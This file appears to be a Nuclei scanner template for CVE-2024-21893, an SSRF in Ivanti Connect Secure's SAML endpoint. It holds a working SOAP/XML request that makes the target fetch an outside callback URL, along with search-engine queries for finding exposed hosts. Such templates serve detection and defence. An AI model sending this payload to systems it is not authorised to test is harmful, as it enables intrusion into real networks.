A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
PoC
id: CVE-2024-21893
info:
name: Ivanti SAML - Server Side Request Forgery (SSRF)
author: DhiyaneshDk
severity: high
description: |
A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
impact: |
Unauthenticated attackers can perform SSRF attacks to access restricted internal resources and bypass authentication mechanisms.
remediation: |
Update Ivanti Connect Secure, Policy Secure, and Neurons for ZTA to the latest patched versions.
reference:
- https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis
- https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
- https://github.com/advisories/GHSA-5rr9-mqhj-7cr2
- https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887
- https://github.com/Ostorlab/KEV
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2024-21893
cwe-id: CWE-918
epss-score: 0.99999
epss-percentile: 0.99999
cpe: cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ivanti
product: connect_secure
shodan-query:
- "html:\"welcome.cgi?p=logo\""
- http.title:"ivanti connect secure"
- http.html:"welcome.cgi?p=logo"
fofa-query:
- body="welcome.cgi?p=logo"
- title="ivanti connect secure"
google-query: intitle:"ivanti connect secure"
tags: cve,cve2024,kev,ssrf,ivanti,vkev,vuln
http:
- raw:
- |
POST /dana-ws/saml20.ws HTTP/1.1
Host: {{Hostname}}
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> </ds:SignedInfo> <ds:SignatureValue>qwerty</ds:SignatureValue> <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="http://{{interactsh-url}}"/> <ds:X509Data/> </ds:KeyInfo> <ds:Object></ds:Object> </ds:Signature> </soap:Body></soap:Envelope>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: body
words:
- '/dana-na/'
- 'WriteCSS'
condition: and
# digest: 4a0a0047304502207c1465bb6148b0ccdc6d24f7eafce0a481dccefb8e60efa4a444456389622d52022100dccd2c181c0ecedbd6789612fe0fddba7eff737696f09fda5771ac904ff98b32:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.